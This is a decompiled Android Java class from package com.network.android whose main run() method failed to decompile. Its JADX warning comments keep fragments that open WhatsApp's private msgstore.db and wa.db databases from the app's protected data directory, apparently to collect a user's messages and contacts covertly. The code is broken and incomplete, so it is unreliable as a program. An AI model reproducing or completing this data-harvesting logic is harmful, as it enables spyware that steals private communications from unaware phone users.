package com.network.android;

import android.content.Context;

/* access modifiers changed from: package-private */
public final class o implements Runnable {

    /* renamed from: a  reason: collision with root package name */
    final /* synthetic */ boolean f106a;
    final /* synthetic */ Context b;

    o(boolean z, Context context) {
        this.f106a = z;
        this.b = context;
    }

    /* JADX WARNING: Code restructure failed: missing block: B:100:0x029b, code lost:
        r2.close();
     */
    /* JADX WARNING: Code restructure failed: missing block: B:103:0x02a2, code lost:
        r1 = move-exception;
     */
    /* JADX WARNING: Code restructure failed: missing block: B:104:0x02a3, code lost:
        com.network.android.c.a.a.a("get whatsapp finally- " + r1.getMessage(), r1);
     */
    /* JADX WARNING: Code restructure failed: missing block: B:105:0x02ba, code lost:
        r0 = th;
     */
    /* JADX WARNING: Code restructure failed: missing block: B:106:0x02bb, code lost:
        r2 = null;
        r4 = null;
     */
    /* JADX WARNING: Code restructure failed: missing block: B:109:0x02c1, code lost:
        r0 = th;
     */
    /* JADX WARNING: Code restructure failed: missing block: B:110:0x02c2, code lost:
        r4 = null;
        r1 = r4;
     */
    /* JADX WARNING: Code restructure failed: missing block: B:41:0x0109, code lost:
        com.network.android.c.a.a.a("getWhatsApp GetContentIM   fail to openDatabase: " + "/data/data/com.whatsapp/databases/msgstore.db" + ", try to open with OPEN_READONLY");
        r3 = android.database.sqlite.SQLiteDatabase.openDatabase("/data/data/com.whatsapp/databases/msgstore.db", null, 17);
     */
    /* JADX WARNING: Code restructure failed: missing block: B:44:?, code lost:
        com.network.android.c.a.a.a("getWhatsApp GetContentIM   fail to openDatabase: " + "/data/data/com.whatsapp/databases/wa.db" + ", try to open with OPEN_READONLY");
        r2 = android.database.sqlite.SQLiteDatabase.openDatabase("/data/data/com.whatsapp/databases/wa.db", null, 17);
     */
    /* JADX WARNING: Code restructure failed: missing block: B:90:0x0286, code lost:
        r0 = th;
     */
    /* JADX WARNING: Code restructure failed: missing block: B:91:0x0287, code lost:
        r2 = null;
        r3 = null;
        r4 = null;
     */
    /* JADX WARNING: Code restructure failed: missing block: B:94:?, code lost:
        r4.close();
     */
    /* JADX WARNING: Code restructure failed: missing block: B:96:0x0291, code lost:
        r3.close();
     */
    /* JADX WARNING: Code restructure failed: missing block: B:98:0x0296, code lost:
        r1.close();
     */
    /* JADX WARNING: Failed to process nested try/catch */
    /* JADX WARNING: Removed duplicated region for block: B:100:0x029b A[Catch:{ Throwable -> 0x02a2 }] */
    /* JADX WARNING: Removed duplicated region for block: B:105:0x02ba A[ExcHandler: all (th java.lang.Throwable), Splitter:B:19:0x00ac] */
    /* JADX WARNING: Removed duplicated region for block: B:109:0x02c1 A[ExcHandler: all (th java.lang.Throwable), PHI: r4 
      PHI: (r4v26 android.database.Cursor) = (r4v28 android.database.Cursor), (r4v28 android.database.Cursor), (r4v33 android.database.Cursor) binds: [B:53:0x017e, B:54:?, B:49:0x015d] A[DONT_GENERATE, DONT_INLINE], Splitter:B:49:0x015d] */
    /* JADX WARNING: Removed duplicated region for block: B:78:0x023f A[SYNTHETIC, Splitter:B:78:0x023f] */
    /* JADX WARNING: Removed duplicated region for block: B:81:0x0244 A[Catch:{ Throwable -> 0x0256 }] */
    /* JADX WARNING: Removed duplicated region for block: B:83:0x0249 A[Catch:{ Throwable -> 0x0256 }] */
    /* JADX WARNING: Removed duplicated region for block: B:85:0x024e A[Catch:{ Throwable -> 0x0256 }] */
    /* JADX WARNING: Removed duplicated region for block: B:90:0x0286 A[ExcHandler: all (th java.lang.Throwable), Splitter:B:10:0x0081] */
    /* JADX WARNING: Removed duplicated region for block: B:93:0x028c A[SYNTHETIC, Splitter:B:93:0x028c] */
    /* JADX WARNING: Removed duplicated region for block: B:96:0x0291 A[Catch:{ Throwable -> 0x02a2 }] */
    /* JADX WARNING: Removed duplicated region for block: B:98:0x0296 A[Catch:{ Throwable -> 0x02a2 }] */
    /* Code decompiled incorrectly, please refer to instructions dump. */
    public final void run() {
        /*
        // Method dump skipped, instructions count: 769
        */
        throw new UnsupportedOperationException("Method not decompiled: com.network.android.o.run():void");
    }
}
